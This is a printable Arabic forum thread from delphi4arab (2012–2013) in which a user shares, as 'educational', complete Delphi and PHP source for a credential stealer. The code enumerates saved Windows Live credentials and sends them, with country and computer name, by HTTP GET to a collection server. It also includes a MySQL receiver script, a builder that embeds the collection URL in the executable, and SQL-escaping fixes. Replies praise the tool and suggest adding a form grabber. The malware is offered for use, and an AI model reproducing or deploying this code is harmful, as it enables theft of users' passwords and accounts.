delphi4arab منتديات دلفي للعرب
ستلر تعليمي من برمجتي - نسخة قابلة للطباعة

+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي التقنية (https://delphi4arab.net/forum/forumdisplay.php?fid=6)
+--- قسم : دلفي والتعامل مع الشبكات و الانترنت (https://delphi4arab.net/forum/forumdisplay.php?fid=21)
+--- الموضوع : ستلر تعليمي من برمجتي (/showthread.php?tid=4698)

الصفحات: 1 2


ستلر تعليمي من برمجتي - onexite - 04-11-2012

برمجة ستلر
المثال تعليمي فقط وكذلك لنجعل هذه البرامج ليست حكرا على الغرب
لوحة البيانات
[صورة: 20121104080221.jpg]
لوحة الدخول
[صورة: 20121104080823.jpg]

السكربت كامل مرفق وهو من برمجتي بالكامل وقد وضعت نسخة منه في موقع opensc.ws

اما الكود سورس فهو كذلك بالكامل الا بعض الدوال
ولقد تم تعديل دالة ايجاد كلمة مرور المسنجر حيث كانت قديما تكون النتيجة من هذا الشكل
a #0b#0c#0d#0....
PHP كود :
^
program Project3;
uses
  WindowsLive in 
'WindowsLive.pas',
  
unitfunctions in 'unitfunctions.pas';

var 
i:integer;
begin
for I := 0 to length(getPassWords)-1 do // getPassWords = user|pass
OpenUrl('http://127.0.0.1/site_01/get.php?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end. 
PHP كود :
unit unitfunctions;
interface
uses Windows,WinInet;
function 
UserName: String;
procedure OpenUrl(const url: string);
function 
StrPas(const Str: PChar): string;
function 
Country: string;
implementation
function StrPas(const Str: PChar): string;begin Result := Str; end;
function 
Username: String;var Cap: array[1..64] of Char;sz: DWord; begin     sz := SizeOf(Cap) ;    GetComputerName(@Cap, sz); Result := StrPas(@cap);end;
procedure OpenUrl(const url: string);begin InternetOpenUrl(InternetOpen('', 0, nil, nil, 0), PChar(url), nil, 0, 0, 0)end; // by onexite
function Country: string;var Temp: array [0..255] of Char;begin FillChar(Temp, sizeOf(Temp), #0);GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SENGCOUNTRY, Temp, sizeOf(Temp));Result := string(Temp); end;
end. 
والوحدة الاخيرة
PHP كود :
WindowsLive.pas;

unit WindowsLive;
interface
uses Windows;

type
TStrArray 
= array of string;

function 
GETPassWords:TStrArray;
implementation
 type
 CREDENTIAL_ATTRIBUTEA 
= record
  Keyword
: LPSTR;
  
Flags: DWORD;
  
ValueSize: DWORD;
  
Value: PBYTE;
 
end;
 
PCREDENTIAL_ATTRIBUTE = ^CREDENTIAL_ATTRIBUTEA;
 
CREDENTIALA = record
  Flags
: DWORD;
  
Type_: DWORD;
  
TargetName: LPSTR;
  
Comment: LPSTR;
  
LastWritten: FILETIME;
  
PassWordSize: DWORD;
  
PassWord: DWORD;
  
Persist: DWORD;
  
AttributeCount: DWORD;
  
Attributes: PCREDENTIAL_ATTRIBUTE;
  
TargetAlias: LPSTR;
  
UserName: LPSTR;
 
end;
 
PCREDENTIAL = array of ^CREDENTIALA;
var
 
CredEnumerate: function(Filter: LPCSTR; Flags: DWORD; var Count: DWORD; var Credential: PCREDENTIAL): BOOL; stdcall;
 
CredFree: function(Buffer: Pointer): BOOL; stdcall;

function 
Trimstr(text: String): String; //by onexite
var  i: Integer;
begin
Result
:='';
for 
i:=0 to Length(text)-1 do
 if 
text[i] <> #0 then Result := Result + text[i]
end;

function 
GETPassWords: TStrArray;
var
  
Collection: PCREDENTIAL;
  
Count, i: DWORD;
  
Handle: THandle;
begin
  Handle 
:= LoadLibrary('advapi32.dll');
  {
$IFDEF UNICODE}
  @
CredEnumerate := GetProcAddress(Handle, 'CredEnumerateW');
  {
$ELSE}
  @
CredEnumerate := GetProcAddress(Handle, 'CredEnumerateA');
  {
$ENDIF UNICODE}
  @
CredFree := GetProcAddress(Handle, 'CredFree');
  
CredEnumerate('WindowsLive:name=*', 0, Count, Collection);
  if 
Count = 0 then exit;
  for 
I := 0 to count-1  do begin
   SetLength
(Result,Length(Result)+2);
   
Result[(i*2)]:=Collection[i].UserName ;
   
Result[(2*i)+1]:=Trimstr(String(Collection[i].PassWord));
  
end;
  
FreeLibrary(Handle);
end;

end. 
عليكم بتعديل نتيجة الفنكسيون قات باسوورد
بتغيير تحديد الحجم ب +1 بدل + 2
وتكون النتيجة الامايل + | + الباسوورد اي result[i] := user+|+pass

اما سكربت الاستقبال فهو بسيط جدا يستقبل سترينق ويقسمها حيث تكون من هذا الشكل user|pass|country|pc|pass2
ونضعهم في قاعدة البيانات

PHP كود :
<?php
require("config.php");
$ip      =$_SERVER["REMOTE_ADDR"];
$data    =explode('|',$_GET['data']);
$user    =$data[0];
$pass    =$data[1];
$Country    =$data[2];
$nam_pc  =$data[3];
$password=$data[4];

if (
$password == $oldpass)
{
mysql_query("INSERT INTO base_01 (ip, username, password, Country, nampc) VALUES ('$ip','$user', '$pass', '$Country','$nam_pc')")or die('Error');
} else  echo 
'Access is Denied!';
?>
بالتوفيق للجميع

السورس كامل


ستلر تعليمي من برمجتي - me_delphi - 05-11-2012

أردت اخي أن توقع بالناس (أتمنى أن يكونو اسرائليين محتلين) لكن أنت الضحية...لأكن لمن تحمي الصفحة من ثغرة SQL Injection
أترك لك البحث لكي تستفيد
بالتوفيق أخي الكريم


ستلر تعليمي من برمجتي - onexite - 05-11-2012

شكرا لك اعلم بذلك
يمكن استخدام هذه الفنكسيون للحماية
PHP كود :
function clean($str) {
$str = @trim($str);
if(
get_magic_quotes_gpc()) {
$str = stripslashes($str);
}
return 
mysql_real_escape_string($str);
} 

ونعدل index.php
PHP كود :
mysql_query("DELETE FROM base_01 WHERE id = ".clean($_GET['id'])); 
وكذلك
get.php
PHP كود :
$data    =explode('|',clean($_GET['data'])); 



ستلر تعليمي من برمجتي - onexite - 05-11-2012

البويلدر
PHP كود :
program builder;

uses
  Dialogs
;

procedure WriteEof(FileName, Res, Delimit1, Delimit2 :String);
var
  
F: TextFile;
begin
  AssignFile
(F,FileName);
  
Append(F);
  
Writeln(F,Delimit1+Res+Delimit2);
  
CloseFile(F);
end;

 var 
opn:TOpenDialog ;
begin
  opn
:=TOpenDialog.Create(nil);
  
opn.Filter:='*.exe';
  
opn.Title:='Select Server..';
  
opn.FileName:='Project3.exe';
if  
opn.Execute then  begin
try
    
WriteEof(opn.FileName, inputbox('url','type url :','http://127.0.0.1/site_01/get.php'), '|1|', '|2|') ;
    
ShowMessage('ok');
  finally
  
opn.Free
  end
;
  
end;
end. 

PHP كود :
unit uReadFile;

interface
uses Windows;

var 
url:string;
function 
ReadEof(x1, x2 :String) :String;

implementation

function ReadFile(FileName: String): AnsiString;
var
  
F :File;
  
Buffer :AnsiString;
  
Size,ReadBytes :Integer;
  
DefaultFileMode:Byte;
begin
  Result 
:= '';
  
DefaultFileMode := FileMode;
  
FileMode := 0;
  
AssignFile(F, FileName);
  
Reset(F, 1);
  if (
IOResult = 0) then
  begin
    Size 
:= FileSize(F);
    while (
Size > 1024) do
    
begin
      SetLength
(Buffer, 1024);
      
BlockRead(F, Buffer[1], 1024, ReadBytes);
      
Result := Result + Buffer;
      
Dec(Size, ReadBytes);
    
end;
    
SetLength(Buffer, Size);
    
BlockRead(F, Buffer[1], Size);
    
Result := Result + Buffer;
    
CloseFile(F);
  
end;
  
FileMode := DefaultFileMode;
end;

function 
ReadEof(x1, x2 :String) :String;
var
  
Buffer:AnsiString;
  
ResLength,i, Posx :Integer;
begin
  Buffer 
:= ReadFile(ParamStr(0));
  if 
Pos(x1, Buffer) > Pos(x2, Buffer) then
    Posx 
:= Length(Buffer)-(Pos(x1, Buffer)+Length(x1))
  else 
Posx := Length(Buffer)-(Pos(x2, Buffer)+Length(x2));
  
Buffer := Copy(Buffer, (Length(Buffer)-Posx), Length(Buffer));
  
ResLength := Pos(x2, Buffer)-(Pos(x1, Buffer)+Length(x1));
  for 
i := 0 to (Reslength-1) do
    
Result := Result+Buffer[Pos(x1, Buffer)+(Length(x1)+i)];
end;
end. 

وتعديل السرفر
PHP كود :
program Project3;
uses
  WindowsLive in 
'WindowsLive.pas',
  
unitfunctions in 'unitfunctions.pas',
  
uReadFile in 'uReadFile.pas';

var 
i:integer;
begin
url
:=ReadEof('|1|','|2|');
for 
I := 0 to length(getPassWords)-1 do // getPassWords = user|pass
OpenUrl(url+'?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end. 
الكتابة في ملف تنفيذي لقد وضعت موضوع من قبل
Write EOF, Read EOF مع مثال بسيط


ستلر تعليمي من برمجتي - onexite - 06-11-2012

تم اضافة خانة جديدة نظام التشغيل وتغيير الشكل جذريا
لوحة التحكم
[صورة: 20121106121357.jpg]
لوحة الدخول
[صورة: 20121106121414.jpg]
كل الملفات في المرفقات


ستلر تعليمي من برمجتي - onexite - 06-11-2012

اخر التعديلات
اصبح متعدد التطبيقات
+ اضافة سحب محفوضات رافع الصور
[صورة: 20121106231610.jpg]
لتجريب الشكل الجديد
PHP كود :
#mytable {
    
width: 83%;
    
padding: 0;
    
margin: 0;
    
border-left: 0.1px solid #3c5884;
}
-------------------------------------------------
body {
    
font: normal 10px auto "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
    
color: #454545;
    
font-size: 13px;
    
background: url("images/background.png") repeat fixed left top #0492DE;
} 



ستلر تعليمي من برمجتي - onexite - 30-11-2012

صفحة الدخول

[صورة: 20121129102551.png]

لوحة التحكم

[صورة: 20121130143705.png]


ستلر تعليمي من برمجتي - onexite - 30-11-2012

السكربت كامل


ستلر تعليمي من برمجتي - sarmadi - 11-01-2013

السلام عليكم يا اخي ومشكور على الطرح
لا تدري يا اخي كم كنت أبحث على هذا السكربت لأخذ نضرة عن برنامج إستلر في سحب الباسوردات وشكرا مرة اخرى يا اخي


ستلر تعليمي من برمجتي - GB47 - 25-02-2013

برمجة قوية أخي
شكرا لك وجاري التحميل
لو أضفت له formgrapper
لصار الأفضل على الإطلاق
تحياتي لك Smile